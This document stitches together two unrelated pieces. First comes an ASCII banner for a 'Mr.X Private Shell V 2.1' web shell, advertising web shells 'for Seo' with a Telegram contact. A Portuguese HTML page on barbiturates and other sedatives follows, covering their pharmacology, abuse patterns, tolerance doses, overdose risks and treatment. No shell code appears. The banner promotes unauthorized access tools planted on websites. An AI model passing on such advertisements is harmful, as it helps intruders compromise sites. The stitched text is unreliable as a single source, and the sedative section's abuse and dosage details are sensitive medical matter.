__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<HTML> <HEAD> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1252"> <META NAME="Generator" CONTENT="Microsoft Word 97"> <TITLE>BARBIT�RICOS E OUTROS SEDATIVOS</TITLE> <META NAME="Template" CONTENT="C:\Arquivos de programas\Microsoft Office\Office\html.dot"> </HEAD> <BODY LINK="#0000ff" VLINK="#800080" BACKGROUND="../images/fundo1.jpg"> <P><A NAME="_Toc426543435"><HR></P> <B><FONT SIZE=2><P ALIGN="CENTER">[</B></FONT><A HREF="#_Toc426636763"><B><FONT SIZE=2>BARBITÚRICOS E OUTROS SEDATIVOS</B></FONT></A><B><FONT SIZE=2>]</P> <P ALIGN="CENTER">[</B></FONT><A HREF="#_Toc426636764"><B><FONT SIZE=2>Toxicologia</B></FONT></A><B><FONT SIZE=2>] [</B></FONT><A HREF="#_Toc426636765"><B><FONT SIZE=2>Toxicidade</B></FONT></A><B><FONT SIZE=2>] [</B></FONT><A HREF="#_Toc426636766"><B><FONT SIZE=2>Epidemiologia</B></FONT></A><B><FONT SIZE=2>] [</B></FONT><A HREF="#_Toc426636767"><B><FONT SIZE=2>Tratamento do Abuso de Sedativos</B></FONT></A><B><FONT SIZE=2>]</P> </B></FONT><P><HR></P> <B><FONT FACE="Arial"><P ALIGN="CENTER"><A NAME="_Toc426636763">Barbitúricos e outros sedativos</A></A></P> </B></FONT><P ALIGN="JUSTIFY">Os barbitúricos tem sido utilizados em terapia durante quase todo esse século, e constituem uma das classes de drogas mais amplamente prescritas. Suas indicações são muitas, incluindo-se o alívio da ansiedade, a indução do sono, o controle da epilepsia, e o uso auxiliar no controle da dor, como pré-anestésico e mesmo como anestésico direto. A demonstração experimental da dependência psicofísica aos barbitúricos, no início dos anos 50, levou a um declínio do seu uso, especialmente depois do desenvolvimento de novos substitutos (ma maioria das vezes só considerados "não-barbitúricos" em termos técnicos) e de novas substâncias com propriedades sedativas denominadas "tranqüilizantes" ou "drogas ansiolíticas". Assim, drogas mais recentes, tais como a glutetimida (um substituto do barbitúrico mais perigoso que o seu análogo, o fenobarbital), o meprobamato, o clordizapóxido e seus congêneres e, mais recentemente, a metaqualona têm, até certo ponto, substituído os barbitúricos na prática clínica.</P> <B><FONT FACE="Arial"><P ALIGN="JUSTIFY"><A NAME="_Toc426543436"><A NAME="_Toc426636764">Toxicologia.</A></A></P> </B></FONT><P ALIGN="JUSTIFY">O <B>fenobarbital</B>, o <B>amobarbital</B>, o <B>pentobarbital</B>, o <B>secobarbital</B> e o <B>tiopental</B> são os mais utilizados na prática clínica. O fenobarbital é uma droga de ação muito prolongada. O <B>tiopental</B> tem uma ação muito curta, e só é usado como um anestésico intravenoso. Outros membros do grupo, com uma duração média de ação, são mais amiúde empregados como hipnóticos. O meprobamato é um sedativo relativamente fraco, com um tempo de ação semelhante ao do secobarbital. A metaqualona e a <B>glutemida</B> também são drogas fracas, com uma duração de ação curta. O <B>clordiazepóxido</B>, o <B>diazepam </B>e outras drogas da série dos benzodiazepínicos são mais potentes e de ação mais prolongada. </P> <P ALIGN="JUSTIFY">Aqueles que abusam de sedativos, fazem-no de modo a obter um estado de intoxicação rápido e relativamente breve, não muito diferente daquele causado pelo álcool. Esperar-se-ia, portanto, que as drogas mais prováveis de serem tomadas de forma abusiva fossem aquelas mais rapidamente absorvidas e com uma curta duração de ação. Estes requisitos são bem preenchidos pelo secobarbital, pentobarbital e amobarbital, entre os barbitúricos, e pelo meprobamato, metaqualona e glutetimida entre as outras classes. As drogas de ação mais prolongada, tais como o fenobarbital e os benzodiazepínicos, não se prestam tão bem a crises repetidas de intoxicação. Portanto, a meia-vida biológica da droga parece ter um papel importante no seu potencial de abuso. Por uma série de razões, o secobarbital sódico é a droga mais popular, razões estas que incluem o acesso fácil e o preço menor.</P> <P ALIGN="JUSTIFY">A maior parte do abuso dessas drogas é feita através da ingestão oral, e os efeitos do secobarbital manifestam-se com bastante rapidez. Esses efeitos são, fundamentalmente, um estado de embriaguez, semelhante ao causado pela intoxicação alcoólica, com alívio da tensão, euforia e subsequente sonolência. Através do controle da dose, os indivíduos que utilizam essas drogas com freqüência podem manter um estado de intoxicação constante durante o dia, e eliminá-lo durante o sono à noite. A tolerância desenvolve-se rapidamente, de maneira que a dose precisa ser constantemente aumentada para fazer os mesmos efeitos. Tais indivíduos tolerantes podem tomar doses que seriam normalmente fatais (até 1 ou 2 gramas diários) sem grandes problemas. Quando estes níveis de dose são atingidos, podem ocorrer sérias reações de abstinência, semelhantes ao <I>delirium tremens</I>. Como este, essas reações representam uma ameaça fatal se não forem tratadas de maneira apropriada. Os princípios do tratamento são os mesmos dos de muitos outros tipos de abstinência a drogas; substituição por uma droga farmacologicamente equivalente (via de regra o <B>pentobarbital sódico</B>), supressão gradual da droga substituída e tratamento de apoio (psicoterapia).</P> <B><FONT FACE="Arial"><P ALIGN="JUSTIFY"><A NAME="_Toc426543437"><A NAME="_Toc426636765">Toxicidade.</A></A></P> </B></FONT><P ALIGN="JUSTIFY">A intoxicação crônica por barbitúricos, nos animais, tem sido responsabilizada pela produção de mudanças histológicas anormais no cérebro, mas tais mudanças não ocorrem no homem. Os maiores riscos do abuso de sedativos são as reações de abstinência e a superdose inadvertida. Como essas drogas são comumente usadas por alcoólatras, e como a associação tem efeitos depressivos sinérgicos, tem-se notícias de suicídios involuntários. O uso simultâneo com a heroína parecer a maior causa de mortes por superdose.</P> <P ALIGN="JUSTIFY"> </P> <B><FONT FACE="Arial"><P ALIGN="JUSTIFY"><A NAME="_Toc426543438"><A NAME="_Toc426636766">Epidemiologia</B>.</A></A></P> </FONT><P ALIGN="JUSTIFY">Há muitos anos, têm sido relatados, em períodos regulares de tempo, casos de abuso iatrogênico. Recentemente, os jovens têm sido responsáveis pela maioria dos abusos de drogas, as quais eles obtêm de forma ilícita e, somente em raras ocasiões, do estoque de medicamentos da família. Controles rígidos e mais recentes de barbitúricos podem forçar uma mudança nos padrões de abuso de sedativos, em favor de outras drogas. Não está claro o motivo pelo qual os viciados podem preferir drogas do tipo comumente chamado "depressor", em lugar de "estimulantes". Muitos deles usam ambas, dependendo da disponibilidade, ou podem usar uma para contrabalançar o efeito da outra. Os sedativos também podem ser usados dentro de um esquema de uso múltiplo de drogas, esquema este que envolve outras drogas sedativas como o álcool, a maconha e a heroína.</P> <B><FONT FACE="Arial"><P ALIGN="JUSTIFY"><A NAME="_Toc426543439"><A NAME="_Toc426636767">Tratamento do Abuso de Sedativos.</A></A></P> </B></FONT><P>Considerando-se as semelhanças farmacológicas, o mesmo modelo de tratamento pode ser aplicado tanto para o abuso de álcool como para o abuso de sedativos. O contexto social de uso, que inclui os sedativos num padrão de uso múltiplo de drogas, é pouco diferente, de forma que não é de maneira nenhuma certo que um tratamento semelhante seja igualmente correto.</P></BODY> </HTML>
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